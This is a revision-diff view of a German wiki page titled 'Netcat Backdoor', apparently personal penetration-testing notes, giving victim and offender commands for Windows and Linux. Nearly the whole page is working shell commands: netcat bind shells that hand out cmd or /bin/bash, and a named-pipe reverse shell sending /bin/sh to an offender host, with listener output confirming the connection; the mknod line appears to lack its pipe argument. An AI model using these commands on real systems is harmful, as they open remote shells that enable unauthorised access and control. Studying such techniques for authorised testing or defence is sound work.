Netcat Backdoor: Unterschied zwischen den Versionen
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Thomas (Diskussion | Beiträge) |
Thomas (Diskussion | Beiträge) |
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| Zeile 13: | Zeile 13: | ||
=Linux= | =Linux= | ||
| − | == | + | ==with netcat-traditional== |
| + | *root@victim:~# nc.traditional -l -p 10001 -e /bin/bash | ||
| + | *root@offender:~# netcat 10.1.1.1 10001 | ||
| + | ==with netcat-openbsd== | ||
VICTIM=10.1.1.1 | VICTIM=10.1.1.1 | ||
OFFENDER=10.1.1.2 | OFFENDER=10.1.1.2 | ||
| Zeile 22: | Zeile 25: | ||
listening on [any] 8668 ... | listening on [any] 8668 ... | ||
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154 | connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154 | ||
| − | |||
| − | |||
| − | |||
=Links= | =Links= | ||
*https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem | *https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem | ||
Version vom 13. November 2017, 21:39 Uhr
Windows
Download
Victim
- C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd
Offender
MSVICTIM=10.1.1.4
- oesx:~ thomas$ nc $MSVICTIM 10011
Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. Alle Rechte vorbehalten. C:\Users\admin\Downloads>
Linux
with netcat-traditional
- root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
- root@offender:~# netcat 10.1.1.1 10001
with netcat-openbsd
VICTIM=10.1.1.1 OFFENDER=10.1.1.2
- root@offender:~# nc -nvlp 8668
- root@victim:~# mknod /tmp/backpipe
- root@victim:~# /bin/sh 0</tmp/backpipe | nc $OFFENDER 8668 1>/tmp/backpipe
- root@offender:~# nc -nvlp 8668
listening on [any] 8668 ... connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154